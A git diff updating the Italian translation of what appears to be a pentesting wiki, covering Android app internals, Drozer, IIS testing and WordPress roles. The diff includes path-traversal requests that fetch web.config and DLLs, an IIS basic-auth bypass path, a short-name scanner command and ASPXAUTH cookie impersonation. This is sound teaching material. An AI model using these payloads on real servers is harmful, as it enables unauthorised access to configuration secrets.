+- [https://maddiestone.github.io/AndroidAppRE/](https://maddiestone.github.io/AndroidAppRE/) Corso rapido Android
 - [https://manifestsecurity.com/android-application-security/](https://manifestsecurity.com/android-application-security/)
 - [https://github.com/Ralireza/Android-Security-Teryaagh](https://github.com/Ralireza/Android-Security-Teryaagh)
 - [https://www.youtube.com/watch?v=PMKnPaGWxtg\&feature=youtu.be\&ab_channel=B3nacSec](https://www.youtube.com/watch?v=PMKnPaGWxtg&feature=youtu.be&ab_channel=B3nacSec)
--- a/src/mobile-pentesting/android-app-pentesting/android-applications-basics.md
+++ b/src/mobile-pentesting/android-app-pentesting/android-applications-basics.md
@ -89,11 +89,11 @@ Una volta che un dispositivo è rootato, qualsiasi app potrebbe richiedere acces
 - assets/
 - Memorizza file vari necessari all'app, potenzialmente inclusi librerie native aggiuntive o file DEX, a volte utilizzati dagli autori di malware per nascondere codice aggiuntivo.
 - res/
- Contiene risorse che non sono compilate in resources.arsc
+- Contiene risorse che non sono compilate in resources.arsc.

 ### **Dalvik & Smali**

-Nello sviluppo Android, **Java o Kotlin** vengono utilizzati per creare app. Invece di utilizzare la JVM come nelle app desktop, Android compila questo codice in **bytecode Dalvik Eseguibile (DEX)**. In precedenza, la macchina virtuale Dalvik gestiva questo bytecode, ma ora, l'Android Runtime (ART) prende il sopravvento nelle versioni più recenti di Android.
+Nello sviluppo Android, **Java o Kotlin** viene utilizzato per creare app. Invece di utilizzare la JVM come nelle app desktop, Android compila questo codice in **bytecode Dalvik Executable (DEX)**. In passato, la macchina virtuale Dalvik gestiva questo bytecode, ma ora, l'Android Runtime (ART) prende il sopravvento nelle versioni più recenti di Android.

 Per il reverse engineering, **Smali** diventa cruciale. È la versione leggibile dall'uomo del bytecode DEX, che agisce come un linguaggio assembly traducendo il codice sorgente in istruzioni bytecode. Smali e baksmali si riferiscono agli strumenti di assemblaggio e disassemblaggio in questo contesto.

@ -102,7 +102,7 @@ Per il reverse engineering, **Smali** diventa cruciale. È la versione leggibile
 Gli Intents sono il principale mezzo attraverso il quale le app Android comunicano tra i loro componenti o con altre app. Questi oggetti messaggio possono anche trasportare dati tra app o componenti, simile a come vengono utilizzate le richieste GET/POST nelle comunicazioni HTTP.

 Quindi un Intent è fondamentalmente un **messaggio che viene passato tra i componenti**. Gli Intents **possono essere diretti** a componenti o app specifiche, **o possono essere inviati senza un destinatario specifico**.\
-Per essere semplici, l'Intent può essere utilizzato:
+Per essere semplici, gli Intent possono essere utilizzati:

 - Per avviare un'Activity, tipicamente aprendo un'interfaccia utente per un'app
 - Come trasmissioni per informare il sistema e le app di cambiamenti
@ -114,11 +114,11 @@ Se vulnerabili, **gli Intents possono essere utilizzati per eseguire una variet

 ### Intent-Filter

-**I Filtri di Intent** definiscono **come un'attività, un servizio o un Broadcast Receiver possono interagire con diversi tipi di Intents**. Fondamentalmente, descrivono le capacità di questi componenti, come quali azioni possono eseguire o i tipi di trasmissioni che possono elaborare. Il luogo principale per dichiarare questi filtri è all'interno del **file AndroidManifest.xml**, anche se per i Broadcast Receiver, codificarli è anche un'opzione.
+**I Filtri di Intent** definiscono **come un'attività, un servizio o un Broadcast Receiver possono interagire con diversi tipi di Intents**. Fondamentalmente, descrivono le capacità di questi componenti, come quali azioni possono eseguire o i tipi di trasmissioni che possono elaborare. Il luogo principale per dichiarare questi filtri è all'interno del **file AndroidManifest.xml**, anche se per i Broadcast Receivers, codificarli è anche un'opzione.

 I Filtri di Intent sono composti da categorie, azioni e filtri di dati, con la possibilità di includere metadati aggiuntivi. Questa configurazione consente ai componenti di gestire specifici Intents che corrispondono ai criteri dichiarati.

-Un aspetto critico dei componenti Android (attività/servizi/provider di contenuti/receiver di trasmissione) è la loro visibilità o **stato pubblico**. Un componente è considerato pubblico e può interagire con altre app se è **`exported`** con un valore di **`true`** o se è dichiarato un Filtro di Intent per esso nel manifest. Tuttavia, c'è un modo per gli sviluppatori di mantenere esplicitamente privati questi componenti, assicurandosi che non interagiscano con altre app inavvertitamente. Questo viene realizzato impostando l'attributo **`exported`** su **`false`** nelle loro definizioni di manifest.
+Un aspetto critico dei componenti Android (attività/servizi/provider di contenuti/broadcast receiver) è la loro visibilità o **stato pubblico**. Un componente è considerato pubblico e può interagire con altre app se è **`exported`** con un valore di **`true`** o se un Filtro di Intent è dichiarato per esso nel manifest. Tuttavia, c'è un modo per gli sviluppatori di mantenere esplicitamente privati questi componenti, assicurandosi che non interagiscano con altre app inavvertitamente. Questo viene realizzato impostando l'attributo **`exported`** su **`false`** nelle loro definizioni di manifest.

 Inoltre, gli sviluppatori hanno la possibilità di garantire ulteriormente l'accesso a questi componenti richiedendo permessi specifici. L'attributo **`permission`** può essere impostato per imporre che solo le app con il permesso designato possano accedere al componente, aggiungendo un ulteriore livello di sicurezza e controllo su chi può interagire con esso.
 ```java
@ -126,7 +126,7 @@ Inoltre, gli sviluppatori hanno la possibilità di garantire ulteriormente l'acc
 <!-- Intent filters go here -->
 </activity>
 ```
-### Intents impliciti
+### Intents Impliciti

 Gli intent vengono creati programmaticamente utilizzando un costruttore di Intent:
 ```java
@ -145,9 +145,9 @@ Questo intento dovrebbe essere dichiarato all'interno del manifest come nel segu
 ```
 Un intent-filter deve corrispondere all'**azione**, ai **dati** e alla **categoria** per ricevere un messaggio.

-Il processo di "risoluzione dell'Intent" determina quale app dovrebbe ricevere ciascun messaggio. Questo processo considera l'**attributo di priorità**, che può essere impostato nella **dichiarazione dell'intent-filter**, e **quella con la priorità più alta sarà selezionata**. Questa priorità può essere impostata tra -1000 e 1000 e le applicazioni possono utilizzare il valore `SYSTEM_HIGH_PRIORITY`. Se si verifica un **conflitto**, appare una finestra "choser" in modo che **l'utente possa decidere**.
+Il processo di "risoluzione dell'intent" determina quale app dovrebbe ricevere ciascun messaggio. Questo processo considera l'**attributo di priorità**, che può essere impostato nella **dichiarazione dell'intent-filter**, e **quella con la priorità più alta sarà selezionata**. Questa priorità può essere impostata tra -1000 e 1000 e le applicazioni possono utilizzare il valore `SYSTEM_HIGH_PRIORITY`. Se si verifica un **conflitto**, appare una finestra "choser" in modo che **l'utente possa decidere**.

-### Intents Espliciti
+### Explicit Intents

 Un intent esplicito specifica il nome della classe che sta mirando:
 ```java
@ -165,14 +165,14 @@ Questi consentono ad altre applicazioni di **eseguire azioni per conto della tua

 ### Broadcast Intents

-A differenza degli intent precedenti, che sono ricevuti solo da un'app, gli intent broadcast **possono essere ricevuti da più app**. Tuttavia, dalla versione API 14, è **possibile specificare l'app che dovrebbe ricevere** il messaggio utilizzando Intent.setPackage.
+A differenza degli intent precedenti, che sono ricevuti solo da un'app, i broadcast intents **possono essere ricevuti da più app**. Tuttavia, dalla versione API 14, è **possibile specificare l'app che dovrebbe ricevere** il messaggio utilizzando Intent.setPackage.

 In alternativa, è anche possibile **specificare un permesso quando si invia il broadcast**. L'app ricevente avrà bisogno di avere quel permesso.

 Ci sono **due tipi** di Broadcast: **Normale** (asincrono) e **Ordinato** (sincrono). L'**ordine** si basa sulla **priorità configurata all'interno dell'elemento ricevente**. **Ogni app può elaborare, inoltrare o scartare il Broadcast.**

 È possibile **inviare** un **broadcast** utilizzando la funzione `sendBroadcast(intent, receiverPermission)` dalla classe `Context`.\
-Puoi anche utilizzare la funzione **`sendBroadcast`** da **`LocalBroadCastManager`** che garantisce che il **messaggio non esca mai dall'app**. Utilizzando questo non avrai nemmeno bisogno di esportare un componente ricevente.
+Puoi anche utilizzare la funzione **`sendBroadcast`** dalla **`LocalBroadCastManager`** che garantisce che il **messaggio non esca mai dall'app**. Utilizzando questo non avrai nemmeno bisogno di esportare un componente ricevente.

 ### Sticky Broadcasts

@ -221,11 +221,11 @@ Il **Android Interface Definition Language (AIDL)** è progettato per facilitare

 ### Concetti Chiave

- **Servizi Bindati**: Questi servizi utilizzano AIDL per IPC, consentendo ad attività o componenti di collegarsi a un servizio, fare richieste e ricevere risposte. Il metodo `onBind` nella classe del servizio è fondamentale per avviare l'interazione, segnalandolo come un'area vitale per la revisione della sicurezza alla ricerca di vulnerabilità.
+- **Servizi Legati**: Questi servizi utilizzano AIDL per IPC, consentendo ad attività o componenti di collegarsi a un servizio, fare richieste e ricevere risposte. Il metodo `onBind` nella classe del servizio è fondamentale per avviare l'interazione, segnalandolo come un'area vitale per la revisione della sicurezza alla ricerca di vulnerabilità.

- **Messenger**: Operando come un servizio bindato, Messenger facilita l'IPC con un focus sul trattamento dei dati attraverso il metodo `onBind`. È essenziale ispezionare questo metodo attentamente per eventuali gestioni di dati non sicure o esecuzione di funzioni sensibili.
+- **Messenger**: Operando come un servizio legato, il Messenger facilita l'IPC con un focus sul trattamento dei dati attraverso il metodo `onBind`. È essenziale ispezionare questo metodo attentamente per eventuali gestioni di dati non sicure o esecuzione di funzioni sensibili.

- **Binder**: Sebbene l'uso diretto della classe Binder sia meno comune a causa dell'astrazione di AIDL, è utile comprendere che Binder funge da driver a livello di kernel facilitando il trasferimento di dati tra gli spazi di memoria di diversi processi. Per ulteriori informazioni, è disponibile una risorsa su [https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8).
+- **Binder**: Sebbene l'uso diretto della classe Binder sia meno comune a causa dell'astrazione di AIDL, è utile comprendere che il Binder funge da driver a livello di kernel facilitando il trasferimento di dati tra gli spazi di memoria di diversi processi. Per ulteriori informazioni, è disponibile una risorsa su [https://www.youtube.com/watch?v=O-UHvFjxwZ8](https://www.youtube.com/watch?v=O-UHvFjxwZ8).

 ## Componenti

@ -236,7 +236,7 @@ Questi includono: **Attività, Servizi, Ricevitori di Broadcast e Provider.**
 Nelle app Android, le **attività** sono come schermi, mostrando diverse parti dell'interfaccia utente dell'app. Un'app può avere molte attività, ognuna delle quali presenta uno schermo unico all'utente.

 L'**attività di lancio** è il principale gateway a un'app, avviata quando tocchi l'icona dell'app. È definita nel file manifest dell'app con intent specifici MAIN e LAUNCHER:
-```markup
+```html
 <activity android:name=".LauncherActivity">
 <intent-filter>
 <action android:name="android.intent.action.MAIN" />
@ -256,7 +256,7 @@ Il ciclo di vita di un'attività **inizia con il metodo onCreate**, impostando l

 ### Sottoclasse dell'Applicazione

-Nello sviluppo Android, un'app ha la possibilità di creare una **sottoclasse** della classe [Application](https://developer.android.com/reference/android/app/Application), anche se non è obbligatorio. Quando tale sottoclasse è definita, diventa la prima classe a essere istanziata all'interno dell'app. Il metodo **`attachBaseContext`**, se implementato in questa sottoclasse, viene eseguito prima del metodo **`onCreate`**. Questa configurazione consente un'inizializzazione anticipata prima che il resto dell'applicazione inizi.
+Nello sviluppo Android, un'app ha l'opzione di creare una **sottoclasse** della [Application](https://developer.android.com/reference/android/app/Application) classe, anche se non è obbligatorio. Quando tale sottoclasse è definita, diventa la prima classe a essere istanziata all'interno dell'app. Il metodo **`attachBaseContext`**, se implementato in questa sottoclasse, viene eseguito prima del metodo **`onCreate`**. Questa configurazione consente un'inizializzazione anticipata prima che il resto dell'applicazione inizi.
 ```java
 public class MyApp extends Application {
@Override
@ -274,9 +274,9 @@ super.onCreate();
 ```
 ### Servizi

-[I servizi](https://developer.android.com/guide/components/services) sono **operativi in background** capaci di eseguire compiti senza un'interfaccia utente. Questi compiti possono continuare a funzionare anche quando gli utenti passano ad altre applicazioni, rendendo i servizi cruciali per **operazioni a lungo termine**.
+[Servizi](https://developer.android.com/guide/components/services) sono **operativi in background** capaci di eseguire compiti senza un'interfaccia utente. Questi compiti possono continuare a funzionare anche quando gli utenti passano ad altre applicazioni, rendendo i servizi cruciali per **operazioni a lungo termine**.

-I servizi sono versatili; possono essere avviati in vari modi, con gli **Intent** che sono il metodo principale per lanciarli come punto di ingresso di un'applicazione. Una volta che un servizio è avviato utilizzando il metodo `startService`, il suo metodo `onStart` entra in azione e continua a funzionare fino a quando il metodo `stopService` non viene chiamato esplicitamente. In alternativa, se il ruolo di un servizio dipende da una connessione client attiva, il metodo `bindService` viene utilizzato per legare il client al servizio, attivando il metodo `onBind` per il passaggio dei dati.
+I servizi sono versatili; possono essere avviati in vari modi, con **Intents** che sono il metodo principale per lanciarli come punto di ingresso di un'applicazione. Una volta che un servizio è avviato utilizzando il metodo `startService`, il suo metodo `onStart` entra in azione e continua a funzionare fino a quando il metodo `stopService` non viene esplicitamente chiamato. In alternativa, se il ruolo di un servizio dipende da una connessione client attiva, il metodo `bindService` viene utilizzato per legare il client al servizio, attivando il metodo `onBind` per il passaggio dei dati.

 Un'applicazione interessante dei servizi include la riproduzione di musica in background o il recupero di dati di rete senza ostacolare l'interazione dell'utente con un'app. Inoltre, i servizi possono essere resi accessibili ad altri processi sullo stesso dispositivo attraverso **l'esportazione**. Questo non è il comportamento predefinito e richiede una configurazione esplicita nel file Android Manifest:
 ```xml
@ -284,9 +284,9 @@ Un'applicazione interessante dei servizi include la riproduzione di musica in ba
 ```
 ### Broadcast Receivers

-**I broadcast receiver** agiscono come ascoltatori in un sistema di messaggistica, consentendo a più applicazioni di rispondere agli stessi messaggi dal sistema. Un'app può **registrare un ricevitore** in **due modi principali**: attraverso il **Manifest** dell'app o **dinamicamente** nel codice dell'app tramite l'API **`registerReceiver`**. Nel Manifest, le trasmissioni sono filtrate con permessi, mentre i ricevitori registrati dinamicamente possono anche specificare permessi al momento della registrazione.
+**I Broadcast receivers** fungono da ascoltatori in un sistema di messaggistica, consentendo a più applicazioni di rispondere agli stessi messaggi dal sistema. Un'app può **registrare un ricevitore** in **due modi principali**: attraverso il **Manifest** dell'app o **dinamicamente** nel codice dell'app tramite l'API **`registerReceiver`**. Nel Manifest, le trasmissioni sono filtrate con permessi, mentre i ricevitori registrati dinamicamente possono anche specificare permessi al momento della registrazione.

-**I filtri di Intent** sono cruciali in entrambi i metodi di registrazione, determinando quali trasmissioni attivano il ricevitore. Una volta inviata una trasmissione corrispondente, viene invocato il metodo **`onReceive`** del ricevitore, consentendo all'app di reagire di conseguenza, ad esempio modificando il comportamento in risposta a un avviso di batteria scarica.
+**I filtri di Intent** sono cruciali in entrambi i metodi di registrazione, determinando quali trasmissioni attivano il ricevitore. Una volta inviata una trasmissione corrispondente, viene invocato il metodo **`onReceive`** del ricevitore, consentendo all'app di reagire di conseguenza, ad esempio, modificando il comportamento in risposta a un avviso di batteria scarica.

 Le trasmissioni possono essere **asincrone**, raggiungendo tutti i ricevitori senza ordine, o **sincrone**, dove i ricevitori ricevono la trasmissione in base a priorità impostate. Tuttavia, è importante notare il potenziale rischio per la sicurezza, poiché qualsiasi app può dare priorità a se stessa per intercettare una trasmissione.

@ -294,11 +294,11 @@ Per comprendere la funzionalità di un ricevitore, cerca il metodo **`onReceive`

 ### Content Provider

-**I Content Provider** sono essenziali per **condividere dati strutturati** tra app, sottolineando l'importanza di implementare **permessi** per garantire la sicurezza dei dati. Consentono alle app di accedere ai dati provenienti da varie fonti, inclusi database, filesystem o il web. Permessi specifici, come **`readPermission`** e **`writePermission`**, sono cruciali per controllare l'accesso. Inoltre, l'accesso temporaneo può essere concesso tramite le impostazioni **`grantUriPermission`** nel manifest dell'app, sfruttando attributi come `path`, `pathPrefix` e `pathPattern` per un controllo dettagliato dell'accesso.
+**I Content Providers** sono essenziali per **condividere dati strutturati** tra app, sottolineando l'importanza di implementare **permessi** per garantire la sicurezza dei dati. Consentono alle app di accedere ai dati provenienti da varie fonti, inclusi database, filesystem o il web. Permessi specifici, come **`readPermission`** e **`writePermission`**, sono cruciali per controllare l'accesso. Inoltre, l'accesso temporaneo può essere concesso tramite le impostazioni **`grantUriPermission`** nel manifest dell'app, sfruttando attributi come `path`, `pathPrefix` e `pathPattern` per un controllo dettagliato dell'accesso.

-La convalida dell'input è fondamentale per prevenire vulnerabilità, come l'iniezione SQL. I Content Provider supportano operazioni di base: `insert()`, `update()`, `delete()`, e `query()`, facilitando la manipolazione e la condivisione dei dati tra le applicazioni.
+La convalida dell'input è fondamentale per prevenire vulnerabilità, come l'iniezione SQL. I Content Providers supportano operazioni di base: `insert()`, `update()`, `delete()` e `query()`, facilitando la manipolazione e la condivisione dei dati tra le applicazioni.

-**FileProvider**, un Content Provider specializzato, si concentra sulla condivisione sicura di file. È definito nel manifest dell'app con attributi specifici per controllare l'accesso alle cartelle, denotato da `android:exported` e `android:resource` che puntano alle configurazioni delle cartelle. Si consiglia cautela quando si condividono directory per evitare di esporre involontariamente dati sensibili.
+**FileProvider**, un Content Provider specializzato, si concentra sulla condivisione sicura dei file. È definito nel manifest dell'app con attributi specifici per controllare l'accesso alle cartelle, indicato da `android:exported` e `android:resource` che puntano alle configurazioni delle cartelle. Si consiglia cautela quando si condividono directory per evitare di esporre involontariamente dati sensibili.

 Esempio di dichiarazione del manifest per FileProvider:
 ```xml
@ -340,7 +340,7 @@ Consentire l'accesso ai contenuti (`setAllowContentAccess(true)`) consente ai We

 Per controllare l'accesso ai file:

- Disabilitare l'accesso ai file (`setAllowFileAccess(false)`) limita l'accesso al filesystem, con eccezioni per alcuni asset, assicurando che siano utilizzati solo per contenuti non sensibili.
+- Disabilitare l'accesso ai file (`setAllowFileAccess(false)`) limita l'accesso al filesystem, con eccezioni per alcuni asset, assicurando che vengano utilizzati solo per contenuti non sensibili.

 ## Altri Componenti dell'App e Gestione dei Dispositivi Mobili

@ -350,7 +350,7 @@ Per controllare l'accesso ai file:

 ### **Verifica dell'App per Maggiore Sicurezza**

- A partire da **Android 4.2**, una funzione chiamata **Verifica App** consente agli utenti di far controllare le app per la sicurezza prima dell'installazione. Questo **processo di verifica** può avvisare gli utenti contro app potenzialmente dannose, o addirittura impedire l'installazione di quelle particolarmente dannose, migliorando la sicurezza dell'utente.
+- A partire da **Android 4.2**, una funzione chiamata **Verifica App** consente agli utenti di far controllare le app per la sicurezza prima dell'installazione. Questo **processo di verifica** può avvisare gli utenti contro app potenzialmente dannose, o addirittura impedire l'installazione di quelle particolarmente malevole, migliorando la sicurezza dell'utente.

 ### **Gestione dei Dispositivi Mobili (MDM)**

--- a/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md
+++ b/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md
@ -25,7 +25,7 @@ adb install drozer.apk
 ```
 ### Avviare il Server

-Agent è in esecuzione sulla porta 31415, dobbiamo [port forward](https://en.wikipedia.org/wiki/Port_forwarding) per stabilire la comunicazione tra il Drozer Client e l'Agent, qui c'è il comando per farlo:
+L'agente è in esecuzione sulla porta 31415, dobbiamo [port forward](https://en.wikipedia.org/wiki/Port_forwarding) per stabilire la comunicazione tra il Drozer Client e l'Agente, qui c'è il comando per farlo:
 ```bash
 adb forward tcp:31415 tcp:31415
 ```
@ -102,8 +102,8 @@ is debuggable

 ### Attività

-Il valore “android:exported” di un componente attività esportato è impostato su **“true”** nel file AndroidManifest.xml:
-```markup
+Il valore “android:exported” di un componente di attività esportato è impostato su **“true”** nel file AndroidManifest.xml:
+```html
 <activity android:name="com.my.app.Initial" android:exported="true">
 </activity>
 ```
@ -135,7 +135,7 @@ Questo post era troppo grande per essere qui, quindi **puoi** [**accederci nella
 ### Services

 Un servizio esportato è dichiarato all'interno del Manifest.xml:
-```markup
+```html
 <service android:name=".AuthService" android:exported="true" android:process=":remote"/>
 ```
 All'interno del codice **controlla** la funzione **`handleMessage`** che **riceverà** il **messaggio**:
@ -235,18 +235,18 @@ Quando un'applicazione è debuggeable, apparirà nel Manifest:
 ```xml
 <application theme="@2131296387" debuggable="true"
 ```
-Puoi trovare tutte le applicazioni debuggeable con **Drozer**:
+Puoi trovare tutte le applicazioni debugabili con **Drozer**:
 ```bash
 run app.package.debuggable
 ```
-## Tutorials
+## Tutorial

 - [https://resources.infosecinstitute.com/android-penetration-tools-walkthrough-series-drozer/#gref](https://resources.infosecinstitute.com/android-penetration-tools-walkthrough-series-drozer/#gref)
 - [https://github.com/mgcfish/mobiletools/blob/master/\_posts/2016-08-01-Using-Drozer-for-application-security-assessments.md](https://github.com/mgcfish/mobiletools/blob/master/_posts/2016-08-01-Using-Drozer-for-application-security-assessments.md)
 - [https://www.hackingarticles.in/android-penetration-testing-drozer/](https://www.hackingarticles.in/android-penetration-testing-drozer/)
 - [https://medium.com/@ashrafrizvi3006/how-to-test-android-application-security-using-drozer-edc002c5dcac](https://medium.com/@ashrafrizvi3006/how-to-test-android-application-security-using-drozer-edc002c5dcac)

-## More info
+## Maggiori informazioni

 - [https://blog.dixitaditya.com/android-pentesting-cheatsheet/](https://blog.dixitaditya.com/android-pentesting-cheatsheet/)

--- a/src/mobile-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md
+++ b/src/mobile-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md
@ -25,7 +25,7 @@ Dopo aver aggiunto:
 ![](../../images/img11.png)

 Ora andiamo nella cartella **res/xml** e creiamo/modifichiamo un file chiamato network_security_config.xml con i seguenti contenuti:
-```markup
+```html
 <network-security-config>
 <base-config>
 <trust-anchors>
--- a/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md
+++ b/src/network-services-pentesting/pentesting-web/iis-internet-information-services.md
@ -11,7 +11,7 @@ Testa le estensioni dei file eseguibili:

 ## Rivelazione dell'indirizzo IP interno

-Su qualsiasi server IIS dove ottieni un 302, puoi provare a rimuovere l'intestazione Host e utilizzare HTTP/1.0 e all'interno della risposta l'intestazione Location potrebbe indicarti l'indirizzo IP interno:
+Su qualsiasi server IIS dove ottieni un 302, puoi provare a rimuovere l'intestazione Host e utilizzare HTTP/1.0 e all'interno della risposta l'intestazione Location potrebbe indirizzarti all'indirizzo IP interno:
 ```
 nc -v domain.com 80
 openssl s_client -connect domain.com:443
@ -50,7 +50,7 @@ iisfinal.txt
 [https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt)\
 [https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt](https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt)

-Usalo senza aggiungere alcun'estensione, i file che ne hanno bisogno ce l'hanno già.
+Usalo senza aggiungere alcuna estensione, i file che ne hanno bisogno ce l'hanno già.

 ## Traversata del percorso

@ -63,12 +63,12 @@ Controlla il resoconto completo in: [https://blog.mindedsecurity.com/2018/10/fro
 > Dai **Dll scaricati** è anche possibile trovare **nuovi namespaces** dove dovresti provare ad accedere e ottenere il file web.config per trovare nuovi namespaces e assemblyIdentity.\
 > Inoltre, i file **connectionstrings.config** e **global.asax** possono contenere informazioni interessanti.

-Nelle **applicazioni .Net MVC**, il file **web.config** gioca un ruolo cruciale specificando ogni file binario su cui l'applicazione fa affidamento tramite i tag XML **"assemblyIdentity"**.
+Nelle **applicazioni .Net MVC**, il file **web.config** gioca un ruolo cruciale specificando ogni file binario su cui l'applicazione fa affidamento attraverso i tag XML **"assemblyIdentity"**.

 ### **Esplorare file binari**

 Un esempio di accesso al file **web.config** è mostrato di seguito:
-```markup
+```html
 GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
 Host: example-mvc-application.minded
 ```
@ -78,7 +78,7 @@ Questa richiesta rivela varie impostazioni e dipendenze, come:
 - **AppSettings** per pagine web, validazione client e JavaScript
 - Configurazioni di **System.web** per autenticazione e runtime
 - Impostazioni dei moduli di **System.webServer**
- Binding di assembly di **Runtime** per numerose librerie come **Microsoft.Owin**, **Newtonsoft.Json** e **System.Web.Mvc**
+- Bindings di assembly di **Runtime** per numerose librerie come **Microsoft.Owin**, **Newtonsoft.Json** e **System.Web.Mvc**

 Queste impostazioni indicano che determinati file, come **/bin/WebGrease.dll**, si trovano all'interno della cartella /bin dell'applicazione.

@ -88,15 +88,15 @@ I file trovati nella directory radice, come **/global.asax** e **/connectionstri

 ### **Namespace e Web.Config**

-Le applicazioni MVC definiscono anche ulteriori **file web.config** per namespace specifici per evitare dichiarazioni ripetitive in ciascun file, come dimostrato con una richiesta per scaricare un altro **web.config**:
-```markup
+Le applicazioni MVC definiscono anche ulteriori **file web.config** per namespace specifici per evitare dichiarazioni ripetitive in ogni file, come dimostrato con una richiesta per scaricare un altro **web.config**:
+```html
 GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
 Host: example-mvc-application.minded
 ```
-### **Scaricare DLL**
+### **Download di DLL**

 La menzione di uno spazio dei nomi personalizzato suggerisce la presenza di una DLL chiamata "**WebApplication1**" nella directory /bin. A seguire, viene mostrata una richiesta per scaricare la **WebApplication1.dll**:
-```markup
+```html
 GET /download_page?id=..%2f..%2fbin/WebApplication1.dll HTTP/1.1
 Host: example-mvc-application.minded
 ```
@ -187,17 +187,17 @@ C:\xampp\tomcat\conf\server.xml

 Se vedi un errore come il seguente:

-![](<../../images/image (446) (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>)
+![](<../../images/image (446) (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>)

 Significa che il server **non ha ricevuto il nome di dominio corretto** all'interno dell'intestazione Host.\
 Per accedere alla pagina web potresti dare un'occhiata al **Certificato SSL** servito e forse puoi trovare il nome del dominio/sottodominio lì. Se non è presente, potresti dover **forzare VHosts** fino a trovare quello corretto.

-## Vecchie vulnerabilità IIS da cercare
+## Vecchie vulnerabilità di IIS da cercare

 ### Vulnerabilità/Caratteristica del carattere tilde “\~” di Microsoft IIS – Rivelazione di nomi di file/cartelle brevi

 Puoi provare a **enumerare cartelle e file** all'interno di ogni cartella scoperta (anche se richiede l'autenticazione di base) utilizzando questa **tecnica**.\
-La principale limitazione di questa tecnica se il server è vulnerabile è che **può trovare solo fino ai primi 6 caratteri del nome di ciascun file/cartella e i primi 3 caratteri dell'estensione** dei file.
+La principale limitazione di questa tecnica, se il server è vulnerabile, è che **può trovare solo fino ai primi 6 caratteri del nome di ogni file/cartella e i primi 3 caratteri dell'estensione** dei file.

 Puoi usare [https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) per testare questa vulnerabilità:`java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/`

@ -207,17 +207,17 @@ Ricerca originale: [https://soroush.secproject.com/downloadable/microsoft_iis_ti

 Puoi anche usare **metasploit**: `use scanner/http/iis_shortname_scanner`

-Un'idea carina per **trovare il nome finale** dei file scoperti è **chiedere a LLMs** per opzioni come fatto nello script [https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py](https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py)
+Una buona idea per **trovare il nome finale** dei file scoperti è **chiedere a LLMs** per opzioni come fatto nello script [https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py](https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py)

 ### Bypass dell'autenticazione di base

-**Bypass** di un'autenticazione di base (**IIS 7.5**) provando ad accedere a: `/admin:$i30:$INDEX_ALLOCATION/admin.php` o `/admin::$INDEX_ALLOCATION/admin.php`
+**Bypass** un'autenticazione di base (**IIS 7.5**) provando ad accedere a: `/admin:$i30:$INDEX_ALLOCATION/admin.php` o `/admin::$INDEX_ALLOCATION/admin.php`

 Puoi provare a **mescolare** questa **vulnerabilità** e l'ultima per trovare nuove **cartelle** e **bypassare** l'autenticazione.

 ## Debugging ASP.NET Trace.AXD abilitato

-ASP.NET include una modalità di debug e il suo file si chiama `trace.axd`.
+ASP.NET include una modalità di debugging e il suo file si chiama `trace.axd`.

 Tiene un log molto dettagliato di tutte le richieste fatte a un'applicazione nel corso del tempo.

@ -236,7 +236,7 @@ ASPXAUTH utilizza le seguenti informazioni:
 - **`decryptionIV`** (stringa): vettore di inizializzazione codificato in esadecimale (predefinito a un vettore di zeri).
 - **`decryptionKey`** (stringa): chiave codificata in esadecimale da utilizzare per la decrittazione.

-Tuttavia, alcune persone utilizzeranno i **valori predefiniti** di questi parametri e utilizzeranno come **cookie l'email dell'utente**. Pertanto, se riesci a trovare un web che utilizza la **stessa piattaforma** che sta usando il cookie ASPXAUTH e **crei un utente con l'email dell'utente che vuoi impersonare** sul server sotto attacco, potresti essere in grado di **usare il cookie dal secondo server nel primo** e impersonare l'utente.\
+Tuttavia, alcune persone utilizzeranno i **valori predefiniti** di questi parametri e utilizzeranno come **cookie l'email dell'utente**. Pertanto, se riesci a trovare un web che utilizza la **stessa piattaforma** che sta usando il cookie ASPXAUTH e **crei un utente con l'email dell'utente che vuoi impersonare** sul server sotto attacco, potresti essere in grado di **usare il cookie del secondo server nel primo** e impersonare l'utente.\
 Questo attacco ha funzionato in questo [**writeup**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19).

 ## Bypass dell'autenticazione IIS con password memorizzate nella cache (CVE-2022-30209) <a href="#id-3-iis-authentication-bypass" id="id-3-iis-authentication-bypass"></a>
--- a/src/network-services-pentesting/pentesting-web/wordpress.md
+++ b/src/network-services-pentesting/pentesting-web/wordpress.md
@ -35,7 +35,7 @@
 ### Permessi degli utenti

 - **Amministratore**
- **Editore**: Pubblica e gestisce i propri e gli altri post
+- **Editore**: Pubblica e gestisce i suoi e gli altri post
 - **Autore**: Pubblica e gestisce i propri post
 - **Collaboratore**: Scrive e gestisce i propri post ma non può pubblicarli
 - **Sottoscrittore**: Naviga nei post e modifica il proprio profilo
